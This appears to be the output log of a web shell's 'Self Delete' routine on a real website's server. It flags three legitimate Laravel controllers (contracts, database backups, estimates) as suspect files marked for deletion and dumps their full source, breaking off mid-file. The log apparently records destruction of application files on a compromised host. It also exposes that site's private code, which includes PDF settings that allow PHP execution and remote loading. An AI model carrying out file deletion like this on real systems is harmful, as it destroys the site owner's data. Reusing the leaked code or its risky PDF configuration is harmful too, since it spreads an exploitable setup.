[Self Delete]

CURRENT DIR: /home/nmcgoke/projects.nmc.go.ke
[+] Susspect file -> [DELETE] /home/nmcgoke/projects.nmc.go.ke/app/Http/Controllers/ContractController.php
<?php namespace App\Http\Controllers; use App\DataTables\ContractsDataTable; use App\Events\ContractSignedEvent; use App\Helper\Files; use App\Helper\Reply; use App\Http\Requests\Admin\Contract\StoreRequest; use App\Http\Requests\Admin\Contract\UpdateRequest; use App\Http\Requests\ClientContracts\SignRequest; use App\Models\BaseModel; use App\Models\Contract; use App\Models\ContractSign; use App\Models\ContractTemplate; use App\Models\ContractType; use App\Models\Currency; use App\Models\Project; use App\Models\User; use Carbon\Carbon; use Illuminate\Http\Request; use Illuminate\Support\Facades\App; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\File; class ContractController extends AccountBaseController { public function __construct() { parent::__construct(); $this->pageTitle = 'app.menu.contracts'; $this->middleware(function ($request, $next) { abort_403(!in_array('contracts', $this->user->modules)); return $next($request); }); } public function index(ContractsDataTable $dataTable) { abort_403(user()->permission('view_contract') == 'none'); if (!request()->ajax()) { $this->projects = Project::allProjects(); if (in_array('client', user_roles())) { $this->clients = User::client(); } else { $this->clients = User::allClients(); } $this->contract = Contract::all(); $this->contractTypes = ContractType::all(); $this->contractCounts = Contract::count(); $this->expiredCounts = Contract::where(DB::raw('DATE(`end_date`)'), '<', now()->format('Y-m-d'))->count(); $this->aboutToExpireCounts = Contract::where(DB::raw('DATE(`end_date`)'), '>', now()->format('Y-m-d')) ->where(DB::raw('DATE(`end_date`)'), '<', now()->timezone($this->company->timezone)->addDays(7)->format('Y-m-d')) ->count(); } return $dataTable->render('contracts.index', $this->data); } public function applyQuickAction(Request $request) { if ($request->action_type == 'delete') { $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); } return Reply::error(__('messages.selectAction')); } protected function deleteRecords($request) { abort_403(user()->permission('delete_contract') !== 'all'); Contract::whereIn('id', explode(',', $request->row_ids))->delete(); return true; } public function destroy($id) { $contract = Contract::findOrFail($id); $this->deletePermission = user()->permission('delete_contract'); abort_403(!( $this->deletePermission == 'all' || ($this->deletePermission == 'added' && user()->id == $contract->added_by) || ($this->deletePermission == 'owned' && user()->id == $contract->client_id) || ($this->deletePermission == 'both' && (user()->id == $contract->client_id || user()->id == $contract->added_by) ))); Contract::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function create() { $this->addPermission = user()->permission('add_contract'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->contractId = request('id'); $this->contract = null; if ($this->contractId != '') { $this->contractTemplate = Contract::findOrFail($this->contractId); } $this->templates = ContractTemplate::all(); $this->clients = User::allClients(null, ($this->addPermission == 'all' ? 'all' : null)); $this->contractTypes = ContractType::all(); $this->currencies = Currency::all(); $this->projects = Project::all(); $this->lastContract = Contract::lastContractNumber() + 1; $this->invoiceSetting = invoice_setting(); $this->zero = ''; if (strlen($this->lastContract) < $this->invoiceSetting->contract_digit) { $condition = $this->invoiceSetting->contract_digit - strlen($this->lastContract); for ($i = 0; $i < $condition; $i++) { $this->zero = '0' . $this->zero; } } if (is_null($this->contractId)) { $this->contractTemplate = request('template') ? ContractTemplate::findOrFail(request('template')) : null; } $contract = new Contract(); if ($contract->getCustomFieldGroupsWithFields()) { $this->fields = $contract->getCustomFieldGroupsWithFields()->fields; } if (request()->ajax()) { $this->pageTitle = __('app.menu.addContract'); $html = view('contracts.ajax.create', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->view = 'contracts.ajax.create'; return view('contracts.create', $this->data); } public function store(StoreRequest $request) { $contract = new Contract(); $this->storeUpdate($request, $contract); return Reply::redirect(route('contracts.index'), __('messages.recordSaved')); } public function edit($id) { $this->editPermission = user()->permission('edit_contract'); $this->contract = Contract::with('signature', 'renewHistory', 'renewHistory.renewedBy') ->findOrFail($id) ->withCustomFields(); $this->projects = Project::all(); abort_403(!( $this->editPermission == 'all' || ($this->editPermission == 'added' && user()->id == $this->contract->added_by) || ($this->editPermission == 'owned' && user()->id == $this->contract->client_id) || ($this->editPermission == 'both' && (user()->id == $this->contract->client_id || user()->id == $this->contract->added_by) ))); $this->clients = User::allClients(null, ($this->editPermission == 'all' ? 'all' : null)); $this->contractTypes = ContractType::all(); $this->currencies = Currency::all(); $this->pageTitle = $this->contract->contract_number; $contract = new Contract(); if ($contract->getCustomFieldGroupsWithFields()) { $this->fields = $contract->getCustomFieldGroupsWithFields()->fields; } if (request()->ajax()) { $html = view('contracts.ajax.edit', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->view = 'contracts.ajax.edit'; return view('contracts.create', $this->data); } public function update(UpdateRequest $request, $id) { $contract = Contract::findOrFail($id); $this->storeUpdate($request, $contract); return Reply::redirect(route('contracts.index'), __('messages.updateSuccess')); } private function storeUpdate($request, $contract) { $contract->client_id = $request->client_id; $contract->project_id = $request->project_id; $contract->subject = $request->subject; $contract->amount = $request->amount; $contract->currency_id = $request->currency_id; $contract->original_amount = $request->amount; $contract->contract_name = $request->contract_name; $contract->alternate_address = $request->alternate_address; $contract->contract_note = $request->note; $contract->cell = $request->cell; $contract->office = $request->office; $contract->city = $request->city; $contract->state = $request->state; $contract->country = $request->country; $contract->postal_code = $request->postal_code; $contract->contract_type_id = $request->contract_type; $contract->contract_number = $request->contract_number; $contract->start_date = Carbon::createFromFormat($this->company->date_format, $request->start_date)->format('Y-m-d'); $contract->original_start_date = Carbon::createFromFormat($this->company->date_format, $request->start_date)->format('Y-m-d'); $contract->end_date = $request->end_date == null ? $request->end_date : Carbon::createFromFormat($this->company->date_format, $request->end_date)->format('Y-m-d'); $contract->original_end_date = $request->end_date == null ? $request->end_date : Carbon::createFromFormat($this->company->date_format, $request->end_date)->format('Y-m-d'); $contract->description = trim_editor($request->description); $contract->contract_detail = trim_editor($request->description); $contract->save(); // To add custom fields data if ($request->custom_fields_data) { $contract->updateCustomFieldData($request->custom_fields_data); } return $contract; } /** * @param int $id * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View|mixed|void */ public function show($id) { $viewPermission = user()->permission('view_contract'); $this->addContractPermission = user()->permission('add_contract'); $this->editContractPermission = user()->permission('edit_contract'); $this->deleteContractPermission = user()->permission('delete_contract'); $this->viewDiscussionPermission = $viewDiscussionPermission = user()->permission('view_contract_discussion'); $this->viewContractFilesPermission = $viewContractFilesPermission = user()->permission('view_contract_files'); $this->contract = Contract::with(['signature', 'client', 'client.clientDetails', 'files' => function ($q) use ($viewContractFilesPermission) { if ($viewContractFilesPermission == 'added') { $q->where('added_by', user()->id); } }, 'renewHistory', 'renewHistory.renewedBy', 'discussion' => function ($q) use ($viewDiscussionPermission) { if ($viewDiscussionPermission == 'added') { $q->where('contract_discussions.added_by', user()->id); } }, 'discussion.user'])->findOrFail($id)->withCustomFields(); abort_403(!( $viewPermission == 'all' || ($viewPermission == 'added' && user()->id == $this->contract->added_by) || ($viewPermission == 'owned' && user()->id == $this->contract->client_id) || ($viewPermission == 'both' && (user()->id == $this->contract->client_id || user()->id == $this->contract->added_by)) )); $contract = new contract(); if ($contract->getCustomFieldGroupsWithFields()) { $this->fields = $contract->getCustomFieldGroupsWithFields()->fields; } $this->pageTitle = $this->contract->contract_number; $tab = request('tab'); $this->view = match ($tab) { 'discussion' => 'contracts.ajax.discussion', 'files' => 'contracts.ajax.files', 'renew' => 'contracts.ajax.renew', default => 'contracts.ajax.summary', }; if (request()->ajax()) { $html = view($this->view, $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->activeTab = $tab ?: 'profile'; return view('contracts.show', $this->data); } public function download($id) { $this->contract = Contract::findOrFail($id); $viewPermission = user()->permission('view_contract'); $this->contract = Contract::with('signature', 'client', 'client.clientDetails', 'files')->findOrFail($id)->withCustomFields(); if ($this->contract->getCustomFieldGroupsWithFields()) { $this->fields = $this->contract->getCustomFieldGroupsWithFields()->fields; } abort_403(!( $viewPermission == 'all' || ($viewPermission == 'added' && user()->id == $this->contract->added_by) || ($viewPermission == 'owned' && user()->id == $this->contract->client_id) || ($viewPermission == 'both' && (user()->id == $this->contract->client_id || user()->id == $this->contract->added_by)) )); $pdf = app('dompdf.wrapper'); $this->company = $this->settings = company(); $this->invoiceSetting = invoice_setting(); $pdf->setOption('enable_php', true); $pdf->setOptions(['isHtml5ParserEnabled' => true, 'isRemoteEnabled' => true]); App::setLocale($this->invoiceSetting->locale); Carbon::setLocale($this->invoiceSetting->locale); $pdf->loadView('contracts.contract-pdf', $this->data); $dom_pdf = $pdf->getDomPDF(); $canvas = $dom_pdf->getCanvas(); $canvas->page_text(530, 820, 'Page {PAGE_NUM} of {PAGE_COUNT}', null, 10); $filename = 'contract-' . $this->contract->id; return $pdf->download($filename . '.pdf'); } public function downloadView($id) { $this->contract = Contract::findOrFail($id)->withCustomFields(); $pdf = app('dompdf.wrapper'); $this->company = $this->settings = company(); $this->invoiceSetting = invoice_setting(); if ($this->contract->getCustomFieldGroupsWithFields()) { $this->fields = $this->contract->getCustomFieldGroupsWithFields()->fields; } $pdf->setOption('enable_php', true); $pdf->setOption('isHtml5ParserEnabled', true); $pdf->setOption('isRemoteEnabled', true); App::setLocale($this->invoiceSetting->locale); Carbon::setLocale($this->invoiceSetting->locale); $pdf->loadView('contracts.contract-pdf', $this->data); $dom_pdf = $pdf->getDomPDF(); $canvas = $dom_pdf->getCanvas(); $canvas->page_text(530, 820, 'Page {PAGE_NUM} of {PAGE_COUNT}', null, 10); $filename = 'contract-' . $this->contract->id; return [ 'pdf' => $pdf, 'fileName' => $filename ]; } public function sign(SignRequest $request, $id) { $this->contract = Contract::with('signature')->findOrFail($id); if($this->contract && $this->contract->signature){ return Reply::error(__('messages.alreadySigned')); } $sign = new ContractSign(); $sign->full_name = $request->first_name . ' ' . $request->last_name; $sign->contract_id = $this->contract->id; $sign->email = $request->email; $sign->date = Carbon::now()->format('Y-m-d'); $sign->place = $request->place; $imageName = null; if ($request->signature_type == 'signature') { $image = $request->signature; // your base64 encoded $image = str_replace('data:image/png;base64,', '', $image); $image = str_replace(' ', '+', $image); $imageName = str_random(32) . '.' . 'jpg'; Files::createDirectoryIfNotExist('contract/sign'); File::put(public_path() . '/' . Files::UPLOAD_FOLDER . '/contract/sign/' . $imageName, base64_decode($image)); Files::uploadLocalFile($imageName, 'contract/sign', $this->contract->company_id); } else { if ($request->hasFile('image')) { $imageName = Files::uploadLocalOrS3($request->image, 'contract/sign', 300); } } $sign->signature = $imageName; $sign->save(); event(new ContractSignedEvent($this->contract, $sign)); return Reply::redirect(route('contracts.show', $this->contract->id)); } public function companySign(Request $request) { $contract = Contract::find($request->id); $imageName = null; if ($request->signature_type == 'signature') { $image = $request->signature; // your base64 encoded $image = str_replace('data:image/png;base64,', '', $image); $image = str_replace(' ', '+', $image); $imageName = str_random(32) . '.' . 'jpg'; Files::createDirectoryIfNotExist('contract/sign'); File::put(public_path() . '/' . Files::UPLOAD_FOLDER . '/contract/sign/' . $imageName, base64_decode($image)); Files::uploadLocalFile($imageName, 'contract/sign', $contract->company_id); } else { if ($request->hasFile('image')) { $imageName = Files::uploadLocalOrS3($request->image, 'contract/sign', 300); } } $contract->company_sign = $imageName; $contract->sign_date = now(); $contract->update(); return Reply::successWithData(__('messages.signatureAdded'), ['status' => 'success' ]); } public function companiesSign(Request $request, $id) { $this->contract = Contract::find($id); return view('contracts.companysign.sign', $this->data); } public function projectDetail($id) { if ($id != 0) { $projects = Project::where('client_id', $id)->get(); } else { $projects = Project::all(); } $options = BaseModel::options($projects, null, 'project_name'); return Reply::dataOnly(['status' => 'success', 'data' => $options]); } public function companySig($id) { $this->contract = Contract::find($id); return view('contracts.companysign.sign', $this->data); } }
>
[+] Susspect file -> [DELETE] /home/nmcgoke/projects.nmc.go.ke/app/Http/Controllers/DatabaseBackupSettingController.php
<?php namespace App\Http\Controllers; use App\Helper\Reply; use App\Http\Requests\DatabaseBackup\UpdateRequest; use App\Models\DatabaseBackupSetting; use App\Models\GlobalSetting; use Carbon\Carbon; use Exception; use Illuminate\Support\Facades\Artisan; use Illuminate\Support\Facades\Storage; class DatabaseBackupSettingController extends AccountBaseController { public function __construct() { parent::__construct(); $this->pageTitle = __('app.menu.databaseBackupSetting'); $this->activeSettingMenu = 'database_backup_settings'; $this->middleware(function ($request, $next) { abort_403(!in_array('admin', user_roles())); return $next($request); }); } public function index() { $backups = $this->getBackup(); $this->backupSetting = DatabaseBackupSetting::first(); $this->globalSetting = GlobalSetting::first(); $this->backups = array_reverse($backups); return view('database-backup-settings.index', $this->data); } public function getBackup() { $disk = Storage::disk('localBackup'); try { $files = $disk->files('/backup'); } catch (\Exception $e) { dd($e->getMessage()); } $backups = []; foreach ($files as $file) { if (str_ends_with($file, '.zip') && $disk->exists($file)) { $backups[] = [ 'file_path' => $file, 'file_name' => str_replace(config('laravel-backup.backup.name') . 'backup/', '', $file), 'file_size' => $disk->size($file), 'last_modified' => $disk->lastModified($file), ]; } } return $backups; } public function create() { $this->backupSetting = DatabaseBackupSetting::first(); return view('database-backup-settings.settings', $this->data); } public function store(UpdateRequest $request) { $backupSetting = DatabaseBackupSetting::first(); $backupSetting->status = isset($request->status) ? 'active' : 'inactive'; $backupSetting->hour_of_day = Carbon::createFromFormat($this->company->time_format, $request->hour_of_day)->format('H:i:s'); $backupSetting->backup_after_days = $request->backup_after_days; $backupSetting->delete_backup_after_days = $request->delete_backup_after_days; $backupSetting->save(); return Reply::success(__('messages.updateSuccess')); } public function createBackup() { try { config(['queue.default' => 'database']); /* Only database backup */ Artisan::queue('backup:run', ['--only-db' => true, '--disable-notifications' => true]); sleep(3); return Reply::success(__('messages.databasebackup.backedupSuccessful')); } catch (Exception $e) { return Reply::error(__('messages.databasebackup.databaseError') . ' =>' . $e->getMessage()); } } public function download($file_name) { $file = config('laravel-backup.backup.name') . '/backup/' . $file_name; $disk = Storage::disk('localBackup'); if (!$disk->exists($file)) { return Reply::error(__('messages.databasebackup.backupNotExist')); } $fs = Storage::disk('localBackup')->getDriver(); $stream = $fs->readStream($file); return \Response::stream(function () use ($stream) { fpassthru($stream); }, 200, [ 'Content-disposition' => 'attachment; filename="' . basename($file) . '"', ]); } public function delete($file_name) { $disk = Storage::disk('localBackup'); if ($disk->exists(config('laravel-backup.backup.name') . '/backup/' . $file_name)) { $disk->delete(config('laravel-backup.backup.name') . '/backup/' . $file_name); // For showing number of backed-up databases $files = $disk->files('/backup'); return Reply::successWithData(__('messages.databasebackup.backupDeleted'), ['fileCount' => count($files)]); } return Reply::error(__('messages.databasebackup.backupNotExist')); } public static function humanFileSize($size, $unit = '') { if ((!$unit && $size >= 1 << 30) || $unit == 'GB') { return number_format($size / (1 << 30), 2) . 'GB'; } if ((!$unit && $size >= 1 << 20) || $unit == 'MB') { return number_format($size / (1 << 20), 2) . 'MB'; } if ((!$unit && $size >= 1 << 10) || $unit == 'KB') { return number_format($size / (1 << 10), 2) . 'KB'; } return number_format($size) . ' bytes'; } }
>
[+] Susspect file -> [DELETE] /home/nmcgoke/projects.nmc.go.ke/app/Http/Controllers/EstimateController.php
<?php namespace App\Http\Controllers; use Exception; use Carbon\Carbon; use App\Models\Tax; use App\Models\User; use App\Helper\Files; use App\Helper\Reply; use App\Models\Invoice; use App\Models\Product; use App\Models\Currency; use App\Models\Estimate; use App\Models\UnitType; use App\Models\EstimateItem; use App\Models\InvoiceItems; use Illuminate\Http\Request; use App\Models\AcceptEstimate; use App\Models\ProductCategory; use App\Events\NewEstimateEvent; use App\Models\EstimateTemplate; use App\Models\EstimateItemImage; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\App; use App\Http\Requests\StoreEstimate; use App\Models\EstimateTemplateItem; use Illuminate\Support\Facades\File; use App\DataTables\EstimatesDataTable; use App\Http\Requests\EstimateAcceptRequest; class EstimateController extends AccountBaseController { public function __construct() { parent::__construct(); $this->pageTitle = 'app.menu.estimates'; $this->pageIcon = 'ti-file'; $this->middleware(function ($request, $next) { abort_403(!in_array('estimates', $this->user->modules)); return $next($request); }); } public function index(EstimatesDataTable $dataTable) { abort_403(!in_array(user()->permission('view_estimates'), ['all', 'added', 'owned', 'both'])); return $dataTable->render('estimates.index', $this->data); } public function create() { $this->addPermission = user()->permission('add_estimates'); abort_403(!in_array($this->addPermission, ['all', 'added'])); if (request('estimate') != '') { $this->estimateId = request('estimate'); $this->type = 'estimate'; $this->estimate = Estimate::with('items', 'items.estimateItemImage', 'client', 'unit', 'client.projects' )->findOrFail($this->estimateId); } $this->pageTitle = __('modules.estimates.createEstimate'); $this->clients = User::allClients(); $this->currencies = Currency::all(); $this->lastEstimate = Estimate::lastEstimateNumber() + 1; $this->invoiceSetting = invoice_setting(); $this->zero = ''; if (strlen($this->lastEstimate) < $this->invoiceSetting->estimate_digit) { $condition = $this->invoiceSetting->estimate_digit - strlen($this->lastEstimate); for ($i = 0; $i < $condition; $i++) { $this->zero = '0' . $this->zero; } } $this->taxes = Tax::all(); $this->products = Product::all(); $this->categories = ProductCategory::all(); $this->template = EstimateTemplate::all(); $this->units = UnitType::all(); $this->estimateTemplate = request('template') ? EstimateTemplate::findOrFail(request('template')) : null; $this->estimateTemplateItem = request('template') ? EstimateTemplateItem::with('estimateTemplateItemImage')->where('estimate_template_id', request('template'))->get() : null; $estimate = new Estimate(); if ($estimate->getCustomFieldGroupsWithFields()) { $this->fields = $estimate->getCustomFieldGroupsWithFields()->fields; } $this->client = isset(request()->default_client) ? User::findOrFail(request()->default_client) : null; $isClient = User::isClient(user()->id); if ($isClient) { $this->client = User::findOrFail(user()->id); } if (request()->ajax()) { $html = view('estimates.ajax.create', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->view = 'estimates.ajax.create'; return view('estimates.create', $this->data); } public function store(StoreEstimate $request) { $items = $request->item_name; $cost_per_item = $request->cost_per_item; $quantity = $request->quantity; $amount = $request->amount; if (trim($items[0]) == '' || trim($cost_per_item[0]) == '') { return Reply::error(__('messages.addItem')); } foreach ($quantity as $qty) { if (!is_numeric($qty) && (intval($qty) < 1)) { return Reply::error(__('messages.quantityNumber')); } } foreach ($cost_per_item as $rate) { if (!is_numeric($rate)) { return Reply::error(__('messages.unitPriceNumber')); } } foreach ($amount as $amt) { if (!is_numeric($amt)) { return Reply::error(__('messages.amountNumber')); } } foreach ($items as $itm) { if (is_null($itm)) { return Reply::error(__('messages.itemBlank')); } } $estimate = new Estimate(); $estimate->client_id = $request->client_id; $estimate->valid_till = Carbon::createFromFormat($this->company->date_format, $request->valid_till)->format('Y-m-d'); $estimate->sub_total = round($request->sub_total, 2); $estimate->total = round($request->total, 2); $estimate->currency_id = $request->currency_id; $estimate->note = trim_editor($request->note); $estimate->discount = round($request->discount_value, 2); $estimate->discount_type = $request->discount_type; $estimate->status = 'waiting'; $estimate->description = trim_editor($request->description); $estimate->estimate_number = $request->estimate_number; $estimate->save(); // To add custom fields data if ($request->custom_fields_data) { $estimate->updateCustomFieldData($request->custom_fields_data); } $this->logSearchEntry($estimate->id, $estimate->estimate_number, 'estimates.show', 'estimate'); $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('estimates.index'); } return Reply::successWithData(__('messages.recordSaved'), ['estimateId' => $estimate->id, 'redirectUrl' => $redirectUrl]); } public function show($id) { $this->invoice = Estimate::with('sign', 'client', 'unit', 'clientdetails')->findOrFail($id)->withCustomFields(); $this->viewPermission = user()->permission('view_estimates'); abort_403(!( $this->viewPermission == 'all' || ($this->viewPermission == 'added' && $this->invoice->added_by == user()->id) || ($this->viewPermission == 'owned' && $this->invoice->client_id == user()->id) || ($this->viewPermission == 'both' && ($this->invoice->client_id == user()->id || $this->invoice->added_by == user()->id)) )); if ($this->invoice->getCustomFieldGroupsWithFields()) { $this->fields = $this->invoice->getCustomFieldGroupsWithFields()->fields; } $this->pageTitle = $this->invoice->estimate_number; $this->discount = 0; if ($this->invoice->discount > 0) { if ($this->invoice->discount_type == 'percent') { $this->discount = (($this->invoice->discount / 100) * $this->invoice->sub_total); } else { $this->discount = $this->invoice->discount; } } $taxList = array(); $this->firstEstimate = Estimate::orderBy('id', 'desc')->first(); $items = EstimateItem::whereNotNull('taxes') ->where('estimate_id', $this->invoice->id) ->get(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = EstimateItem::taxbyid($tax)->first(); if ($this->tax) { if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { if ($this->invoice->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / $this->invoice->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { if ($this->invoice->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + (($item->amount - ($item->amount / $this->invoice->sub_total) * $this->discount) * ($this->tax->rate_percent / 100)); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + ($item->amount * ($this->tax->rate_percent / 100)); } } } } } $this->taxes = $taxList; $this->settings = company(); $this->invoiceSetting = invoice_setting(); if(in_array('client', user_roles())) { $lastViewed = now(); $ipAddress = request()->ip(); $this->invoice->last_viewed = $lastViewed; $this->invoice->ip_address = $ipAddress; $this->invoice->save(); } return view('estimates.show', $this->data); } public function edit($id) { $this->estimate = Estimate::with('items.estimateItemImage')->findOrFail($id)->withCustomFields(); $this->editPermission = user()->permission('edit_estimates'); abort_403(!( $this->editPermission == 'all' || ($this->editPermission == 'added' && $this->estimate->added_by == user()->id) || ($this->editPermission == 'owned' && $this->estimate->client_id == user()->id) || ($this->editPermission == 'both' && ($this->estimate->client_id == user()->id || $this->estimate->added_by == user()->id)) )); $this->pageTitle = $this->estimate->estimate_number; if ($this->estimate->getCustomFieldGroupsWithFields()) { $this->fields = $this->estimate->getCustomFieldGroupsWithFields()->fields; } $this->units = UnitType::all(); $this->clients = User::allClients(); $this->currencies = Currency::all(); $this->taxes = Tax::all(); $this->products = Product::all(); $this->categories = ProductCategory::all(); $this->invoiceSetting = invoice_setting(); if (request()->ajax()) { $html = view('estimates.ajax.edit', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->view = 'estimates.ajax.edit'; return view('estimates.create', $this->data); } public function update(StoreEstimate $request, $id) { $items = $request->item_name; $itemsSummary = $request->item_summary; $hsn_sac_code = $request->hsn_sac_code; $unitId = request()->unit_id; $product = request()->product_id; $tax = $request->taxes; $quantity = $request->quantity; $cost_per_item = $request->cost_per_item; $amount = $request->amount; $invoice_item_image = $request->invoice_item_image; $invoice_item_image_url = $request->invoice_item_image_url; $item_ids = $request->item_ids; if (trim($items[0]) == '' || trim($items[0]) == '' || trim($cost_per_item[0]) == '') { return Reply::error(__('messages.addItem')); } foreach ($quantity as $qty) { if (!is_numeric($qty) && $qty < 1) { return Reply::error(__('messages.quantityNumber')); } } foreach ($cost_per_item as $rate) { if (!is_numeric($rate)) { return Reply::error(__('messages.unitPriceNumber')); } } foreach ($amount as $amt) { if (!is_numeric($amt)) { return Reply::error(__('messages.amountNumber')); } } foreach ($items as $itm) { if (is_null($itm)) { return Reply::error(__('messages.itemBlank')); } } $estimate = Estimate::findOrFail($id); $estimate->client_id = $request->client_id; $estimate->valid_till = Carbon::createFromFormat($this->company->date_format, $request->valid_till)->format('Y-m-d'); $estimate->sub_total = round($request->sub_total, 2); $estimate->total = round($request->total, 2); $estimate->discount = round($request->discount_value, 2); $estimate->discount_type = $request->discount_type; $estimate->currency_id = $request->currency_id; $estimate->status = $request->status; $estimate->note = trim_editor($request->note); $estimate->description = trim_editor($request->description); $estimate->estimate_number = $request->estimate_number; $estimate->save(); /* Step1 - Delete all items which are not avaialable Step2 - Find old items, update it and check if images are newer or older Step3 - Insert new items with images */ if (!empty($request->item_name) && is_array($request->item_name)) { // Step1 - Delete all invoice items which are not avaialable if (!empty($item_ids)) { EstimateItem::whereNotIn('id', $item_ids)->where('estimate_id', $estimate->id)->delete(); } // Step2&3 - Find old invoices items, update it and check if images are newer or older foreach ($items as $key => $item) { $invoice_item_id = isset($item_ids[$key]) ? $item_ids[$key] : 0; try { $estimateItem = EstimateItem::findOrFail($invoice_item_id); } catch(Exception) { $estimateItem = new EstimateItem(); } $estimateItem->estimate_id = $estimate->id; $estimateItem->item_name = $item; $estimateItem->item_summary = $itemsSummary[$key]; $estimateItem->type = 'item'; $estimateItem->unit_id = (isset($unitId[$key]) && !is_null($unitId[$key])) ? $unitId[$key] : null; $estimateItem->product_id = (isset($product[$key]) && !is_null($product[$key])) ? $product[$key] : null; $estimateItem->hsn_sac_code = (isset($hsn_sac_code[$key]) && !is_null($hsn_sac_code[$key])) ? $hsn_sac_code[$key] : null; $estimateItem->quantity = $quantity[$key]; $estimateItem->unit_price = round($cost_per_item[$key], 2); $estimateItem->amount = round($amount[$key], 2); $estimateItem->taxes = ($tax ? (array_key_exists($key, $tax) ? json_encode($tax[$key]) : null) : null); $estimateItem->save(); /* Invoice file save here */ if ((isset($invoice_item_image[$key]) && $request->hasFile('invoice_item_image.' . $key)) || isset($invoice_item_image_url[$key])) { /* Delete previous uploaded file if it not a product (because product images cannot be deleted) */ //phpcs:ignore if (!isset($invoice_item_image_url[$key]) && $estimateItem && $estimateItem->estimateItemImage) { Files::deleteFile($estimateItem->estimateItemImage->hashname, EstimateItemImage::FILE_PATH.'/' . $estimateItem->id . '/'); } $filename = ''; if (isset($invoice_item_image[$key])) { $filename = Files::uploadLocalOrS3($invoice_item_image[$key], EstimateItemImage::FILE_PATH . '/' . $estimateItem->id . '/'); } EstimateItemImage::updateOrCreate( [ 'estimate_item_id' => $estimateItem->id, ], [ 'filename' => isset($invoice_item_image[$key]) ? $invoice_item_image[$key]->getClientOriginalName() : null, 'hashname' => isset($invoice_item_image[$key]) ? $filename : null, 'size' => isset($invoice_item_image[$key]) ? $invoice_item_image[$key]->getSize() : null, 'external_link' => isset($invoice_item_image[$key]) ? null : (isset($invoice_item_image_url[$key]) ? $invoice_item_image_url[$key] : null), ] ); } } } // To add custom fields data if ($request->custom_fields_data) { $estimate->updateCustomFieldData($request->custom_fields_data); } return Reply::redirect(route('estimates.index'), __('messages.updateSuccess')); } public function destroy($id) { $estimate = Estimate::findOrFail($id); $this->deletePermission = user()->permission('delete_estimates'); abort_403(!( $this->deletePermission == 'all' || ($this->deletePermission == 'added' && $estimate->added_by == user()->id) || ($this->deletePermission == 'owned' && $estimate->client_id == user()->id) || ($this->deletePermission == 'both' && ($estimate->client_id == user()->id || $estimate->added_by == user()->id)) )); Estimate::destroy($id); return Reply::success(__('messages.deleteSuccess')); } public function download($id) { $this->invoiceSetting = invoice_setting(); $this->estimate = Estimate::with('unit')->findOrFail($id)->withCustomFields(); if ($this->estimate->getCustomFieldGroupsWithFields()) { $this->fields = $this->estimate->getCustomFieldGroupsWithFields()->fields; } $this->viewPermission = user()->permission('view_estimates'); abort_403(!( $this->viewPermission == 'all' || ($this->viewPermission == 'added' && $this->estimate->added_by == user()->id) || ($this->viewPermission == 'owned' && $this->estimate->client_id == user()->id) || ($this->viewPermission == 'both' && ($this->estimate->client_id == user()->id || $this->estimate->added_by == user()->id)) )); App::setLocale($this->invoiceSetting->locale); Carbon::setLocale($this->invoiceSetting->locale); $pdfOption = $this->domPdfObjectForDownload($id); $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; return $pdf->download($filename . '.pdf'); } public function domPdfObjectForDownload($id) { $this->invoiceSetting = invoice_setting(); App::setLocale($this->invoiceSetting->locale); Carbon::setLocale($this->invoiceSetting->locale); $this->estimate = Estimate::findOrFail($id)->withCustomFields(); if ($this->estimate->getCustomFieldGroupsWithFields()) { $this->fields = $this->estimate->getCustomFieldGroupsWithFields()->fields; } $this->discount = 0; if ($this->estimate->discount > 0) { if ($this->estimate->discount_type == 'percent') { $this->discount = (($this->estimate->discount / 100) * $this->estimate->sub_total); } else { $this->discount = $this->estimate->discount; } } $taxList = array(); $items = EstimateItem::whereNotNull('taxes') ->where('estimate_id', $this->estimate->id) ->get(); $this->invoiceSetting = invoice_setting(); foreach ($items as $item) { foreach (json_decode($item->taxes) as $tax) { $this->tax = EstimateItem::taxbyid($tax)->first(); if ($this->tax) { if (!isset($taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'])) { if ($this->estimate->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = ($item->amount - ($item->amount / $this->estimate->sub_total) * $this->discount) * ($this->tax->rate_percent / 100); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $item->amount * ($this->tax->rate_percent / 100); } } else { if ($this->estimate->calculate_tax == 'after_discount' && $this->discount > 0) { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] + (($item->amount - ($item->amount / $this->estimate->sub_total) * $this->discount) * ($this->tax->rate_percent / 100)); } else { $taxList[$this->tax->tax_name . ': ' . $this->tax->rate_percent . '%'] = $taxList[$this->tax->tax_name . ': ' . 